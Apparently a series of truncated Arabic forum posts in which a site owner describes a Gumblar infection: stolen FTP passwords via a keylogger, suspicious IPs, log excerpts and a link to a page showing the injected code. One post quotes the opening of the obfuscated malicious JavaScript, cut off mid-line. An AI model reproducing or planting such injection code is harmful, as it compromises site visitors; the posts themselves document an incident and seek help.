mmr2009

اخي "امير سلطان" ، بالنسبة لي لا احتاج ssl certificate ، لذلك لا اتوفر على معلومات كثيرة عنها . يمكن لشركة الاستضافة التي تستضيف موقعك ان تبيع ssl certificate لذلك لا انصحك بصراحة بشراء هذه الاخيرة الا من موقع مجرب ... لا يمكن لاي احد ان يعرف ما تحتاجه بالضبط …

ssl تحمي الكواقع من الثغرات؟؟ اعتقد انك مخطء لان الثغرات تتعلق في الغالب بطريقة برمجة الموقع ، اما الــ SSL Certificate فهي خاصة بالمواقع الامنة مثل البنوك و مواقع البيع و الشراء بحيث يتم تشفير المعلومات التي يقوم المستخدم بالادلاء بها ...

شكرا لك على الرابط

قمت بالدخول عن طريق filezilla (البرنامج الذي استعمله لنقل الملفات ) و مباشرة دخلت لاتصف الموقع ، فوجدت كود جديد محقون ، قمت بعدها بالتأكد من الاشخاص الذين قاموا بالدخول، فوجدت رقم ip مشبوه وهو 66.7.208.222. و انا الان اغلقت الموقع مؤقتا حتى اتمكن من اصلاحه مجد…

شكرا لكم إخواني ، مهما فعل الانسان فالخطأ وارد و ها أنا اليوم اقع من جديد في الخطأ ، قد يرجع ذلك الى عدم فهمي الكامل لطريقة انتشار هذا النوع من الفيروسات ، إذا فأنا أعتبر لحد الساعة كفأر تجربة و ما يسعني إلا أن أطلب اللطف من الله

السلام عليكم بعدما ارتحت من gumblar قمت بتحديث نظام الحماية و اتخاذ جميع الاحتياكات اللازمة ... لكن قبل ساعة من الان قمت بالدخول مجددا عن طريف ال ftp الى موقعي معتقدا ان الامر حسم و انا في مأمن من جميع التهديدات... لكن و بمجرد دخولي الى الموقع قام زائر اخر بال…

السلام عليكم تحياتي لجميع أعضاء وزوار هذا المنتدى الرائع، بالنسبة لمشكلتي فلقد حلت ، بحيث قمت بتحديث برنامج الحماية avast و غيرت مباشرة بعد ذلك كلمة المرور. فكانت النتيجة هي أن المتسلل لم يتمكن من الدخول vsftpd: Sat May 16 11:20:37 2009 [pid 20157] [] FTP resp…

شكرا لك على المجهود ، ننتظر معلومات أكثر دقة و وضوح ، و السلام عليكم و رحمة الله

اعتقد انني اعطيتكم كل المعلومات التي طلبتموها يا اخوتي فهذا الامر لا يضر بخصوصيتي كما يقول المثل المغربي "لي تشطح ما تدرك وجها" و معناه ان التي ترقص ليست في حاحة الى اخفاء وجهها فلقد كشفت عن اعضاء اهم بكثير من الوجه :happy: شكرا لكم جميعا

بعد مراجعة ملف log الذي يسجل كل ما يتعلق بالموقع استنتجت ان ادخال الكود لاول مرة تم يوم 28 ابريل حوالي الثانية صباحا في يوم 27 ابريل اي قبل عملية التسلل عن طريق ال ftp قام robot باضافة موضوع يضم "سكريبت" الى موقعي و بالتالي كنت انا اول من تعرض للاصابة ببرنامج …

http://perso.wana.ma/salhi/test/ يمكنكم معاينة الكود الغريب بين </head> و </body>

شكرا لك يا merouane على الاجابة كود الحقن يختلف من يوم لاخر و اخر كود تم حقن الموقع به هو <script language=javascript><!-- (function(){var WA15='%';var Pia7=('var~20a~3d~22Scri~70t~45~6egine~22~2cb~3d~22Ver~73~69on(~29+~22~2cj~3d~22~22 ~2cu~3dn~61vigat~6fr~2eu…

في هذه اللحظة قام هذا البرنامج المتسلل بالدخول مجددا الى الـ ftp عن طريق عنوان الايبي التالي 65.182.104.95 لكنني اوقفته فلقد حرمني هذا المتسلل من النوم فالويل لك يا gumbler :angry:

الامر يتعلق بـ troyen / keylogger قام بسرقة جميع كلمات المرور الخاصة بي !!!! المرجو المساعدة يا خبراء لكي احذف هذا البرنامج المتجسس من جهازي

أثناء بحثي وجدت هذا الموضوع http://blog.scansafe.com/ الان بدأت تتضح لي الرؤية أكثر . انتظر اجاباتكم بفارغ الصبر

السلام عليكم لقد تعرض موقعي للقرصنة، حيث تم إدخال كود php غريب اليه . ادخال الكود الى الموقع لم يكن عن طريق ثغرة فيه بل تم عن طريق سرقة كلمة المرور الخاصة بالـ ftp و أعتقد أن أحد البرامج التي أستعملها كان مسؤول عن هذه السرقة . أعطيكم معلومات أكثر عن هذا الاختر…